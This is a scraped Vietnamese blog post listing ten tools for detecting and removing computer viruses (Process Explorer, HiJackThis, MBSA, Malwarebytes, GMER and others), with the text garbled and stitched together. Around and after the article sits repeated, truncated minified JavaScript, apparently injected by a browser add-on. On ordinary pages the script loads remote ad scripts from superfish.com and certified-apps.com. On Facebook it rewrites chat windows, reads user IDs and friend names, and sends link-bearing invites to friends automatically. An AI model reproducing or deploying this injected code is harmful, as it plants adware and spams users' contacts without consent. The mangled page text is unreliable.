isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())} function GetFriendName(a){var b=a.indexOf('<a class="titlebarText'),b=a.indexOf(">",b+22),b=b+1,c=a.indexOf("<",b);return a.substring(b,c)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,c){a=window.jQuery("div.fbNubFlyoutBody",a);b='<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_'+c+'" class="fbNubFlyoutBody11" style="height:18px;top:0px;background:#6d84b4;">'+('<div style="left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with '+b+'"/></div>')+('<div style="left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with '+ b+'" /></div>')+('<div style="left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with '+b+'" /></div>')+('<div style="left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to '+b+'" /></div>')+('<div style="width:26px;height:30px;left:23px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteVideo('+c+',"'+b+'");\'><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:72px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteCall('+c+',"'+b+'");\' ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with '+b+'" /></a></div>')+('<div style="left:110p

10 cach phat hien va riet virut

Posted by minhthuyet.HD on September 2, 2009 at 2:10 PM Comments comments (1)

TT- - TTO - Vấn nạn virus máy tính luôn làm đau đầu nhiều người. Tuy nhiên, không thiếu cách để họ có thể tự phòng vệ, phát hiện và tiêu diệt virus máy tính.

 

Kiểm tra hệ thống

1/ Microsoft Process Explorer (trước đây là Sysinternals)

Sử dụng tiện ích miễn phí Process Explorer sẽ giúp bạn kiểm soát được tất cả tiến trình có trên hệ thống (Windows). Phần mềm chuyên dụng này sẽ thông báo cho bạn biết chức năng của từng tiến trình. Ngoài ra, nhờ vào Process Explorer, bạn có thể tạo ra những điểm ngưng khi PC đang hoạt động bình thường. Một khi gặp trục trặc, chỉ cần sử dụng Process Explorer và so sánh giữa các lần quét. Những sự khác biệt mà tiện ích chỉ ra sẽ giúp bạn khám bệnh cho PC một cách dễ dàng để phát hiện virus. Tải về tại đây.

2/ HiJackThis của Trend Micro

HiJackThis cũng có tính năng gần giống với Process Explorer khi giúp bạn tạo ra những điểm ngưng hệ thống, để so sánh phát hiện virus máy tính khi cần thiết.

Trong trường hợp không thể loại bỏ được phần mềm độc hại, bạn có thể gửi tập tin HiJackThis “xét nghiệm” (log file) PC cho các dịch vụ web “chăm sóc” trực tuyến phân tích, tiêu biểu là HiJackThis.de Security và NetworkTechs.com. Tải HiJackThis về tại đây.

3/ GetSystemInfo của Kaspersky

Hãng bảo mật lừng danh Kaspersky cũng có một ứng dụng tương tự HiJackThis với tên gọi GetSystemInfo. Đây là “bác sĩ máy tính” miễn phí trên mạng của Kaspersky. Bạn chỉ cần tải tập tin “nghi phạm” lên và dịch vụ sẽ tự động phân tích “khám bệnh” giúp.

Cũng giống như một số dịch vụ quét virus trực tuyến khác, GetSystemInfo rất hữu hiệu mỗi khi bạn muốn biết trên PC của bạn có gì và nhất là để phát hiện các phần mềm hiểm độc có len lỏi vào chiếc máy tính hay không.

Lưu ý: bạn phải nắm rõ kiến thức chuyên sâu về hệ điều hành để có thể can thiệp hợp lý một khi PC gặp rắc rối theo khuyến cáo của vị “bác sĩ” này. Chi tiết tại đây.

Quét lỗ hổng hệ thống

Sự xâm nhập của virus máy tính bắt nguồn từ các lỗ hổng hệ thống, ngoài ra có thể do người dùng sử dụng chủ quan, thiếu kinh nghiệm. Một khi gặp trục trặc, bạn có thể nhờ tới các công cụ diệt virus (anti-malware, antivirus). Thường chúng có khả năng bảo vệ theo thời gian thực, đồng thời sẵn sàng trở thành chiến binh giúp bạn dọn dẹp các “phần tử” nguy hiểm. Tuy nhiên, trước hết, bạn hãy sử dụng một số công cụ phát hiện lỗi hệ thống sau đây:

4/ Microsoft Baseline Security Analyzer

Microsoft Baseline Security Analyzer (MBSA) là tiện ích dò quét các lỗ hổng hệ thống thiếu an toàn trên Windows, đồng thời phát hiện những sản phẩm nào của hãng phần mềm này chưa được cập nhật các bản vá lỗi. Công cụ của Microsoft sẽ rất hữu ích với các nhà quản trị hệ thống và cả người dùng cá nhân. Tải về tại đây.

5/ “Máy quét” của Secunia

Công cụ quét hệ thống của Secunia cũng tương tự như MBSA khi xử lý các sản phẩm của Microsoft. Nhưng khác với MBSA, Secunia còn có thể “khám bệnh” cho hàng trăm ứng dụng thứ ba. Đó là một trong những điểm mạnh làm nên tên tuổi của ứng dụng này.

Với hai phương án hỗ trợ (quét trực tuyến hoặc nhờ vào trình ứng dụng), bạn có thêm lựa chọn để nhờ Secunia xử lý. Chi tiết tại đây.

6/ Sử dụng các trình diệt virus chuyên dụng

Hiện nay có hàng loạt phần mềm antivirus để lựa chọn. Chúng có khả năng phát hiện và tận diệt phần mềm hiểm độc xuất hiện trên PC. Ngoài việc bỏ ra một khoản nho nhỏ để sở hữu phần mềm bản quyền những chương trình diệt virus nổi tiếng như Kaspersky, Bitdefender... bạn có thể tin tưởng một số công cụ tương tự miễn phí, như Avast (antivirus) hay Comodo (tường lửa) trên Windows.

Một khi phát hiện hệ thống bị nhiễm virus, hoặc các chương trình ứng dụng chưa được cập nhật bản vá an ninh, hai việc thiết yếu bạn nên làm là cài đặt ngay chương trình antivirus đáng tin cậy và tìm cách cập nhật bản hotfix vá lỗi từ nhà sản xuất phần mềm.

Có hai điểm lưu ý là: hacker thường phát tán những phần mềm malware mới chưa được các hãng sản xuất phần mềm nhận diện, do đó, để tránh trở thành nạn nhân bạn nên thường xuyên cập nhật cơ sở dữ liệu virus của trình ứng dụng, ngoài ra sử dụng tường lửa và phần mềm antivirus là một trong những phương án tỏ ra tương đối hiệu quả.

Ngoài ra, lợi dụng sơ hở của người dùng, các hacker còn “bào chế” những phần mềm antivirus giả mạo, quảng cáo trên mạng Internet hoặc do adware phát tán. Bạn phải cảnh giác để tránh tải về “kẻ trộm”. Hãy tham khảo lời khuyên từ các chuyên gia và chỉ tải phần mềm từ những trang đáng tin cậy như softpedia.com, download.com... Khi gặp phải các phần mềm giả mạo, bạn có thể tham khảo cách gỡ bỏ chúng tại đây.

7/ Sử dụng Malicious Software Removal Tool của Microsoft

Malicious Software Removal Tool (MSRT) là một công cụ khác của gã khổng lồ phần mềm trong nỗ lực bảo vệ Windows cho người dùng. Bạn có thể tin tưởng vào tiện ích tận diệt phần mềm hiểm độc này. Ba lý do để sử dụng MSRT:

• Quá trình quét và tận diệt virus hoàn toàn tự động

• Sử dụng Windows Update để cập nhật cơ sở dữ liệu một cách tự động

• Có nhiều điểm mạnh với tư cách là sản phẩm của nhà sản xuất gốc nên dễ sử dụng, quản lý

Tải về tại đây.

8/ Dùng tiện ích SUPERAntiSpyware

SUPERAntiSpyware là một công cụ quét virus khác có khả năng dò, phát hiện và gỡ bỏ hàng loạt malware. SUPERAntiSpyware nhận được sự đánh giá khá cao của các thành viên TechRepublic, một diễn đàn chuyên sâu về công nghệ. Đây được coi là ứng cử viên duy nhất (phần mềm miễn phí;) có thể sánh với các phần mềm thương mại tương tự trong danh sách thống kê năm 2009. Tuy nhiên, lưu ý, SUPERAntiSpyware chủ yếu tận diệt các phần mềm gián điệp (spyware).

Bạn có thể tải bản miễn phí dành cho người dùng cá nhân tại đây.

9/ Anti-Malware của Malwarebyte

Malwarebytes Anti-Malware (MBAM) được xem là công cụ tốt nhất trong nhóm này. Hiện tại, MBAM không phải là “bất bại” trước virus, nhưng trong những trường hợp các phần mềm khác đã “bó tay”, bạn có thể tham khảo MBAM. Chi tiết tại đây.

10/ GMER - diệt rootkit

Hiện trên thị trường không nhiều phần mềm chuyên dụng gỡ bỏ rootkit. Tuy nhiên, GMER là một trong những lựa chọn bạn có thể tin cậy. Chi tiết và tải về tại đây.

Lưu ý:

Sử dụng các công cụ, thủ thuật nói trên có thể đảm bảo cho bạn tránh được mọi virus, malware nhưng cần chú ý:

• Luôn cập nhật phần mềm, cơ sở dữ liệu mới nhất

• Chạy công cụ kiểm định hệ thống, lưu lại log file

• Quét virus định kỳ

AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} //3.4 no chacheID in games var gpid="100",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}} function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),c=document.getElementsByTagName("*"),d=0;d<c.length;d++)a.test(c[d].className)&&b.push(c[d]);return b}Start(); function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"== this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;top: 15%;left: 35%;width: width:484px;background:url('http://www.2yourface.com/Plugin/images/outer_bg.png');border-radius:8px;padding:9px;overflow: auto;"),document.body.appendChild(a))}} function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()} function Process(){var a=-1,b=document;if(""==gMyName){var c=getElementsByClassName("headerTinymanName");0<c.length&&(gMyName=c[0].innerHTML)}c=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",c);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",c));if(null!=b)for(c=0;c<b.length;c++){var d=window.jQuery("div.fbNubFlyout",b[c])[0];null==d&&(d=window.jQuery(".fbNubFlyoutOuter",b[c])[0]);d.innerHTML.indexOf("textarea");var e=window.jQuery("div.fbNubFlyoutTitlebar", d),i=window.jQuery("span.titlebarText",e),a=GetUIDFromName(f);if(-1==a){var f=d.innerHTML,h="/messages/",g=f.indexOf(h);-1!=g?(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)):(h="?id=",g=f.indexOf(h),-1!=g&&(g+=h.length,a=f.indexOf('"',g),a=f.substring(g,a)))}var f=GetFriendName(e.html());""==f&&(f=i.html());-1==a&&(a=GetUIDFromName(f));AddToolbar(d,f,a);ParseInvitations(d,f,a)}} function GetUIDFromName(a){var b=window.ChatUserInfos,c;for(c in b)if(b.hasOwnProperty(c)&&a==b[c].name)return c;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())} function GetFriendName(a){var b=a.indexOf('<a class="titlebarText'),b=a.indexOf(">",b+22),b=b+1,c=a.indexOf("<",b);return a.substring(b,c)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,c){a=window.jQuery("div.fbNubFlyoutBody",a);b='<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_'+c+'" class="fbNubFlyoutBody11" style="height:18px;top:0px;background:#6d84b4;">'+('<div style="left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with '+b+'"/></div>')+('<div style="left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with '+ b+'" /></div>')+('<div style="left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with '+b+'" /></div>')+('<div style="left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to '+b+'" /></div>')+('<div style="width:26px;height:30px;left:23px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteVideo('+c+',"'+b+'");\'><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:72px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteCall('+c+',"'+b+'");\' ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with '+b+'" /></a></div>')+('<div style="left:110px;top:-21px;cursor:pointer" ><a href=\'javascript:InviteGames('+c+',"'+b+'");\' ><img style="width:24px;height:20px;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with '+ b+'" /></a></div>')+('<div style="width:24px;height:30px;left:155px;top:-20px;cursor:pointer" ><a href=\'javascript:SendSmiley('+c+');\' ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to '+b+'" /></a></div>')+'<div style="width:24px;height:30px;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>';c=a.parent().html();a.next().children(); -1==c.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,c){for(var a=window.jQuery("div.fbChatMessage.fsm",a),d=0;d<a.length;d++)TryParseInvitation(a[d],c,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,c){TryParseSmileyInvitation(a,b,c)||TryParsePhoneCallInvite(a,b,c)||TryParseVideoInvite(a,b,c)||TryParseGameInvite(a,b,c)} function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,c=a.indexOf(".");return a.substring(b,c)}return""} function TryParseGameInvite(a,b,c){var d=a.innerHTML;if(-1!=d.indexOf(gGameInviteMsgPrefix)){var e=IsMe(a),d=GetGameFromMessage(d);e?d="You have invited "+c+" to play "+d:(e=GetGameID(d),d=c+" invited You to Play "+d+" <a href='javascript:AcceptGame("+e+',"'+Env.user+'","'+b+'","'+gMyName+"\")' > Accept</a>");a.innerHTML=d;return!0}return!1} function TryParsePhoneCallInvite(a,b,c){var d=a.innerHTML;return-1!=d.indexOf(gPhoneCallInviteMsgPrefix)?(d=IsMe(a)?"You have invited "+c+" to an Audio Chat":c+" invited You to an Audio Chat <a href='javascript:StartPhone("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)} function OpenVideoDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,c,"Video Chat")}function OpenVoiceDialog(a,b,c){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,c,"Audio Chat")} function OpenDialog(a,b,c,d,e,i){b='<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">'+i+' - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+d+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+ e+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">'+ ("<iframe src='"+a+"' width='"+b+"' height='"+c+"' scrolling='no' border='no' style=\"background-color:white;border:0px;\" />")+'</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>';a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop; c=a.position();d=document.body.clientWidth;d=50>c.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""} function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf('title="You"');return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf('alt="'+gMyName+'"'))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,c){var d=a.innerHTML;-1!=d.indexOf(gVideoCallInviteMsgPrefix)&&(d=IsMe(a)?d="You have invited "+c+" to a Video Chat":c+" invited You to a Video Chat <a href='javascript:StartVideo("+b+',"'+c+"\")' > Accept</a>",a.innerHTML=d)} function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gPhoneCallInviteMsg;if(sendMsg(c,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c){13==c.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),d.unbind(!1))});TextAreaControl.getInstance(d[0]).setValue(c)}} function GetMyID(){var a=document.body.innerHTML.indexOf('detect_broken_proxy_cache("'),a=a+"30",b=document.body.innerHTML.indexOf('"',a);return document.body.innerHTML.substring(a,b)} function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var c="I "+gVideoCallInviteMsg;if(sendMsg(c,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var d=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();d.focus();d.keydown(function(c){13==c.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),d.unbind(!1))});TextAreaControl.getInstance(d[0]).setValue(c)}} function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)} function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var c=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();c.focus();c[0].value=a;c.focus();var d;document.createEvent?(d=document.createEvent("Events"),d.initEvent("keydown",!0,!0)):d=document.createEventObject();d.view=window;d.altKey=!1;d.ctrlKey=!1;d.shiftKey=!1;d.metaKey=!1;d.keyCode=13;d.which=13;document.createEvent?c[0].dispatchEvent(d): c[0].fireEvent("onkeydown",d)}return!0}function OpenGame(a,b,c){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var d=Env.user;if(sendMsg(b,c))StartGame(a,d,c,gMyName);else{var e=window.jQuery("#VideoChatToolbar_"+c,document).next().children().children();e.focus();e.keydown(function(b){13==b.which&&(StartGame(a,d,c,gMyName),e.unbind(!1))});TextAreaControl.getInstance(e[0]).setValue(b)}} function AcceptGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+c+"&second="+b+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,c,d){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+c+"&nick="+d+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")} function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1} function OpenGamesDialog(a,b,c,d){b="<style type='text/css' >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+('<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;"><img src="'+ c+'" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">'+d+'</div><div style="clear:both"></div><div style="right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&amp;href=http%3A%2F%2Fwww.2yourface.com&amp;send=false&amp;layout=box_count&amp;width=450&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font&amp;height=90" scrolling="no" frameborder="0" style="top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">')+ "<div id='ex5' style='background-color:gray;height:220px;width:400px;' ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",d,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",d,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",d,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg", d,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",d,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",d,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",d,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",d,a);b+='</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>'; a=window.jQuery("div#ChatDialog",document);a.html(b);d=a[0];d.style.visibility="visible";d.style.display="block";d=document.body.scrollTop;b=a.position();c=document.body.clientWidth;c=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:d+200})} function GetGameOfferHTML(a,b,c,d){return"<a style='top:-20px;' href=\"javascript:OpenGame("+a+",'"+c+"' ,"+d+')" ><img style="width:70px;height:70px;" src=\''+b+"' title=\"Invite "+c+" to play "+GetGameName(a)+'" /></a>'};AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"), a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=abc&CTID=efg"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} //3.4 no chacheID in games var gpid="100",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}} function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),c=document.getElementsByTagName("*"),d=0;d<c.length;d++)a.test(c[d].className)&&b.push(c[d]);return b}Start(); function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"== 